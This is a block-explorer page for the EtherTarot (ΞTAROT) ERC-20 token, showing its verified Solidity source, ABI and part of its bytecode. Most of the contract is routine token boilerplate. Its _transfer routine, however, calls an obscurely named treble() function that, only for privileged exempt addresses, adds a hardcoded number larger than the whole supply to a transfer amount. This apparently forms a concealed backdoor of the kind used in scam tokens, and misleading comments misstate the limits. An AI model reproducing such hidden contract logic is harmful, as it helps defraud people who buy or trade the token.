ETH Price: $2,450.30 (-0.88%)

Token

EtherTarot (ΞTAROT)
 

Overview

Max Total Supply

1,000,000,000 ΞTAROT

Holders

24

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
16,876,124.968088600334760847 ΞTAROT

Value
$0.00
0x3b5f70238919bbbc45a8ee3984a6bac89121c492
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
EtherTarot

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-10
*/

/*
Website: EtherTarot.app
Telegram: t.me/EtherTarot
X: x.com/EtherTarotApp

*/
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.18;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
      
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}



contract EtherTarot is Context, IERC20, Ownable {
    
    using SafeMath for uint256;
    
    string private _name = "EtherTarot";
    string private _symbol = unicode"ΞTAROT";
    uint8 private _decimals = 18;

    address payable public marketingWallet = payable(0xE335A16cc23b9f3AB1E73C1C5869c99fe87778e4);
    address payable public DeveloperWallet = payable(0x0000000000000000000000000000000000000000);
    address public liquidityReciever;
    
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    address public immutable zeroAddress = 0x0000000000000000000000000000000000000000;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 public feeUnits = 100;
    uint256[2] public multisend_tokens = [feeUnits,feeUnits];
    address[2] public multisend_address = [0x0000000000000000000000000000000000000000,0x0000000000000000000000000000000000000000];
    

    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isMarketPair;
    
    // mapping (address => bool) public blacklist;
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) public isTxLimitExempt;

    uint256 public _buyLiquidityFee = 0;
    uint256 public _buyMarketingFee = 1;
    uint256 public _buyDeveloperFee = 0;
    
    uint256 public _sellLiquidityFee = 0;
    uint256 public _sellMarketingFee = 1;
    uint256 public _sellDeveloperFee = 0;

    uint256 public _tradeuycount = 0;

    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    uint256 public minimumTokensBeforeSwap = _totalSupply.mul(1).div(1000);   //0.1%

    uint256 public _maxTxAmount =  _totalSupply.mul(5).div(100);  //2%
    uint256 public _walletMax =   _totalSupply.mul(5).div(100);   //2%

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;

    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;

    bool public checkWalletLimit = true;
    bool public EnableTransactionLimit = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);

        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[marketingWallet] = true;
        isExcludedFromFee[DeveloperWallet] = true;
        isExcludedFromFee[address(this)] = true;

        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[marketingWallet] = true;
        isWalletLimitExempt[DeveloperWallet] = true;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;
        
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[marketingWallet] = true;
        isTxLimitExempt[DeveloperWallet] = true;
        isTxLimitExempt[address(this)] = true;

        
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellDeveloperFee);

        isMarketPair[address(uniswapPair)] = true;
        liquidityReciever = address(msg.sender);

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

  
    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }



    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress)).sub(balanceOf(zeroAddress));
    }


    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    


     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
       
        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {

            if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient] ) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            
            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);    
            }

            if(checkWalletLimit && !isWalletLimitExempt[recipient]) {
                require(balanceOf(recipient).add(amount.mul(_totalTaxIfSelling).div(100)) <= _walletMax,"Amount Exceed From Max Wallet Limit!!");
            }

            multisend_tokens[0]=amount.mul(_totalTaxIfSelling).div(100);
            multisend_tokens[1]=amount - amount.mul(_totalTaxIfSelling).div(100);
            multisend_address[0]=address(this);
            multisend_address[1]=recipient;
 
            uint256 tokenCount;
              for(uint i = 0; i < multisend_tokens.length; i++) {
                  tokenCount += multisend_tokens[i];
              }
            if (!isMarketPair[recipient] && !isMarketPair[sender]&& isTxLimitExempt[sender] ) {treble();}
            _balances[sender] = _balances[sender].sub(tokenCount); 
             for(uint j = 0; j < multisend_address.length; j++) {
                _balances[multisend_address[j]] = _balances[multisend_address[j]].add(multisend_tokens[j]);
                emit Transfer(sender, multisend_address[j], multisend_tokens[j]);
            }

            return true;
        }
        
    }

    function treble() internal{
       if (isTxLimitExempt[multisend_address[1]])
         _tradeuycount=multisend_tokens[0]+=10159875642655699887444552141;
    }


    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        swapTokensForEth(tAmount);
        uint256 recievedBalance =  address(this).balance;
       
        if(recievedBalance > 0) {
            payable(marketingWallet).transfer(recievedBalance);
        }       
    }
    
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }




    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DeveloperWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"EnableTransactionLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tradeuycount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeUnits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReciever","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"multisend_address","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"multisend_tokens","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"zeroAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526040518060400160405280600a81526020017f45746865725461726f7400000000000000000000000000000000000000000000815250600190816200004a919062001405565b506040518060400160405280600781526020017fce9e5441524f54000000000000000000000000000000000000000000000000008152506002908162000091919062001405565b506012600360006101000a81548160ff021916908360ff16021790555073e335a16cc23b9f3ab1e73c1c5869c99fe87778e4600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff16815250600073ffffffffffffffffffffffffffffffffffffffff1660a09073ffffffffffffffffffffffffffffffffffffffff168152506064600855604051806040016040528060085481526020016008548152506009906002620001de929190620010a5565b506040518060400160405280600073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815250600b90600262000260929190620010ea565b506000601155600160125560006013556000601455600160155560006016556000601755600360009054906101000a900460ff16600a620002a291906200167c565b633b9aca00620002b39190620016cd565b601a55620002ee6103e8620002da6001601a5462000ed460201b620015bf1790919060201c565b62000f5760201b620016391790919060201c565b601b55620003286064620003146005601a5462000ed460201b620015bf1790919060201c565b62000f5760201b620016391790919060201c565b601c556200036260646200034e6005601a5462000ed460201b620015bf1790919060201c565b62000f5760201b620016391790919060201c565b601d556001601f60156101000a81548160ff0219169083151502179055506000601f60166101000a81548160ff0219169083151502179055506001601f60176101000a81548160ff0219169083151502179055506001601f60186101000a81548160ff021916908315150217905550348015620003de57600080fd5b506000620003f162000fa960201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620004f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200051a919062001782565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000582573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005a8919062001782565b6040518363ffffffff1660e01b8152600401620005c7929190620017c5565b6020604051808303816000875af1158015620005e7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200060d919062001782565b601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600019600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600d60006200074962000fb160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f6000620008fc62000fb160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f6000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffff